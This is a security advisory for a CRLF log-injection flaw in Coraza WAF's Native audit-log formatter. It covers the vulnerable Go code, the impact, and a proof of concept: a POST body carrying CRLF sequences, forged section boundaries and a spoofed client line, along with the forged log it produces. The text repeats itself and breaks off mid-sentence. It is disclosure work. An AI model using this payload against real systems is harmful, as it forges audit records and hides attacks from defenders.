CVE-2026-41504

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the Native audit-log formatter in internal/auditlog/formats.go writes attacker-influenced request and response fields without neutralizing carriage returns or line feeds. When SecAuditLogFormat Native is enabled, injected line breaks can create forged lines inside a transaction record. An attacker who controls request or response body, header, error-message, or matched-rule data can inject carriage returns and line feeds that appear as forged audit lines within a transaction record. The forged content can mislead operators and line-oriented SIEM processing, although the unpredictable transaction boundary prevents straightforward impersonation of a separate complete session. This issue is fixed in version 3.8.0.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the Native audit-log formatter in internal/auditlog/formats.go writes attacker-influenced request and response fields without neutralizing carriage returns or line feeds. When SecAuditLogFormat Native is enabled, injected line breaks can create forged lines inside a transaction record. An attacker who controls request or response body, header, error-message, or matched-rule data can inject carriage returns and line feeds that appear as forged audit lines within a transaction record. The forged content can mislead operators and line-oriented SIEM processing, although the unpredictable transaction boundary prevents straightforward impersonation of a separate complete session. This issue is fixed in version 3.8.0.

Root Cause

File: internal/auditlog/formats.go — multiple sites write attacker-influenced bytes into the Native audit-log stream without escaping \r or \n:

// Part B — request headers (lines 72–80)
for k, vv := range al.Transaction().Request().Headers() {
    for _, v := range vv {
        res.WriteByte('\n')
        res.WriteString(k)
        res.WriteString(": ")
        res.WriteString(v)   // ← raw
    }
}

// Part C — request body (lines 85–86)
if body := al.Transaction().Request().Body(); body != "" {
    res.WriteString(body)    // ← raw
    res.WriteByte('\n')
}

// Part E — response body (lines 93–94)      raw
// Part F — response headers (lines 111–118) raw
// Part H — error messages (line 125)        raw
// Part K — matched-rule raw data (line 151)  raw

The Native format's section structure is line-based: sections are delimited by lines of the form --<10-char-random-prefix>-<Part>--, and line-based log parsers / SIEM rules rely on that structure. Any attacker-controlled bytes containing \n break the structural invariant and allow the attacker to inject lines that look like genuine audit content.

The other two Native-format implementations in Coraza are not affected: the JSON formatter (formats_json.go) and the OCSF formatter both round-trip values through json.Marshal, which escapes \r and \n.

Impact

An attacker who can land bytes into any of the listed audit-log fields can inject arbitrary lines — including lines that visually resemble new log entries — into the audit log file of a defender running the default SecAuditLogFormat Native configuration. Realistic consequences:

• Forging entries to shift attribution. An injected line such as [client "9.9.9.9"] Coraza: Warning. ... sits alongside genuine matches in Part H, and a human operator (or simple SIEM rule) reading the log cannot tell them apart.
• Confusing SIEM correlation. Any ingestion pipeline that splits on --...-[A-Z]-- boundaries or on [client "..."] patterns without validating the session prefix will treat the forged lines as separate records.
• Breaking log-parsing tooling. Grep/awk pipelines, log tailers, and log-rotation tools with line-based assumptions can be poisoned with crafted binary sequences.
• Hiding genuine incidents. An attacker who can also trigger a rule match on the same transaction (trivial — send any request that matches any audit-logged rule) can bury the real match under noise they control.

The forged lines cannot trivially impersonate an entire separate session: the 10-char random prefix in the real boundaries (boundaryPrefix := "--" + utils.RandomString(10) + "-", line 42) is not predictable from outside, and each transaction uses a fresh prefix. But the integrity of a single record is fully compromised, which is enough for the SIEM-confusion and attribution-shifting attacks.

Proof of Concept

Server with coraza.conf-recommended-style defaults:

SecRuleEngine On
SecAuditEngine On
SecAuditLogParts ABCFHZ
SecAuditLogType Serial
SecAuditLog /tmp/audit.log
SecAuditLogFormat Native
SecRequestBodyAccess On
SecRule REQUEST_METHOD "@rx ." \
    "id:1001,phase:1,pass,log,auditlog,msg:'trigger'"

Body vector — reachable via stock coraza/v3/http + net/http

Send an ordinary urlencoded POST whose body contains raw CRLF sequences and forged boundaries:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

evil=benign\r\n--coraza-forged-X--\r\nForgedLine: yes\r\n--coraza-forged-H--\r\n[client "9.9.9.9"] FAKE ATTACK ENTRY

Resulting audit.log:

--heLNtylvjY-C--
evil=benign
--coraza-forged-X--
ForgedLine: yes
--coraza-forged-H--
[client "9.9.9.9"] FAKE ATTACK ENTRY

--heLNtylvjY-F--

The forged --coraza-forged-X-- / --coraza-forged-H-- boundaries and the spoofed [client "9.9.9.9"] line are structurally indistinguishable from the surrounding genuine log content. No rule fires, no…

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the Native audit-log formatter in internal/auditlog/formats.go writes attacker-influenced request and response fields without neutralizing carriage returns or line feeds. When SecAuditLogFormat Native is enabled, injected line breaks can create forged lines inside a transaction record. An attacker who controls request or response body, header, error-message, or matched-rule data can inject carriage returns and line feeds that appear as forged audit lines within a transaction record. The forged content can mislead operators and line-oriented SIEM processing, although the unpredictable transaction boundary prevents straightforward impersonation of a separate complete session. This issue is fixed in version 3.8.0.

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the Native audit-log formatter in internal/auditlog/formats.go writes attacker-influenced request and response fields without neutralizing carriage returns or line feeds. When SecAuditLogFormat Native is enabled, injected line breaks can create forged lines inside a transaction record. An attacker who controls request or response body, header, error-message, or matched-rule data can inject carriage returns and line feeds that appear as forged audit lines within a transaction record. The forged content can mislead operators and line-oriented SIEM processing, although the unpredictable transaction boundary prevents straightforward impersonation of a separate complete session. This issue is fixed in version 3.8.0.

Root Cause

File: internal/auditlog/formats.go — multiple sites write attacker-influenced bytes into the Native audit-log stream without escaping \r or \n:

// Part B — request headers (lines 72–80)
for k, vv := range al.Transaction().Request().Headers() {
    for _, v := range vv {
        res.WriteByte('\n')
        res.WriteString(k)
        res.WriteString(": ")
        res.WriteString(v)   // ← raw
    }
}

// Part C — request body (lines 85–86)
if body := al.Transaction().Request().Body(); body != "" {
    res.WriteString(body)    // ← raw
    res.WriteByte('\n')
}

// Part E — response body (lines 93–94)      raw
// Part F — response headers (lines 111–118) raw
// Part H — error messages (line 125)        raw
// Part K — matched-rule raw data (line 151)  raw

The Native format's section structure is line-based: sections are delimited by lines of the form --<10-char-random-prefix>-<Part>--, and line-based log parsers / SIEM rules rely on that structure. Any attacker-controlled bytes containing \n break the structural invariant and allow the attacker to inject lines that look like genuine audit content.

The other two Native-format implementations in Coraza are not affected: the JSON formatter (formats_json.go) and the OCSF formatter both round-trip values through json.Marshal, which escapes \r and \n.

Impact

An attacker who can land bytes into any of the listed audit-log fields can inject arbitrary lines — including lines that visually resemble new log entries — into the audit log file of a defender running the default SecAuditLogFormat Native configuration. Realistic consequences:

• Forging entries to shift attribution. An injected line such as [client "9.9.9.9"] Coraza: Warning. ... sits alongside genuine matches in Part H, and a human operator (or simple SIEM rule) reading the log cannot tell them apart.
• Confusing SIEM correlation. Any ingestion pipeline that splits on --...-[A-Z]-- boundaries or on [client "..."] patterns without validating the session prefix will treat the forged lines as separate records.
• Breaking log-parsing tooling. Grep/awk pipelines, log tailers, and log-rotation tools with line-based assumptions can be poisoned with crafted binary sequences.
• Hiding genuine incidents. An attacker who can also trigger a rule match on the same transaction (trivial — send any request that matches any audit-logged rule) can bury the real match under noise they control.

The forged lines cannot trivially impersonate an entire separate session: the 10-char random prefix in the real boundaries (boundaryPrefix := "--" + utils.RandomString(10) + "-", line 42) is not predictable from outside, and each transaction uses a fresh prefix. But the integrity of a single record is fully compromised, which is enough for the SIEM-confusion and attribution-shifting attacks.

Proof of Concept

Server with coraza.conf-recommended-style defaults:

SecRuleEngine On
SecAuditEngine On
SecAuditLogParts ABCFHZ
SecAuditLogType Serial
SecAuditLog /tmp/audit.log
SecAuditLogFormat Native
SecRequestBodyAccess On
SecRule REQUEST_METHOD "@rx ." \
    "id:1001,phase:1,pass,log,auditlog,msg:'trigger'"

Body vector — reachable via stock coraza/v3/http + net/http

Send an ordinary urlencoded POST whose body contains raw CRLF sequences and forged boundaries:

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

evil=benign\r\n--coraza-forged-X--\r\nForgedLine: yes\r\n--coraza-forged-H--\r\n[client "9.9.9.9"] FAKE ATTACK ENTRY

Resulting audit.log:

--heLNtylvjY-C--
evil=benign
--coraza-forged-X--
ForgedLine: yes
--coraza-forged-H--
[client "9.9.9.9"] FAKE ATTACK ENTRY

--heLNtylvjY-F--

The forged --coraza-forged-X-- / --coraza-forged-H-- boundaries and the spoofed [client "9.9.9.9"] line are structurally indistinguishable from the surrounding genuine log content. No rule fires, no…

Coraza: Native audit-log format allows CRLF injection and log forgery via request body and header fields in github.com/corazawaf/coraza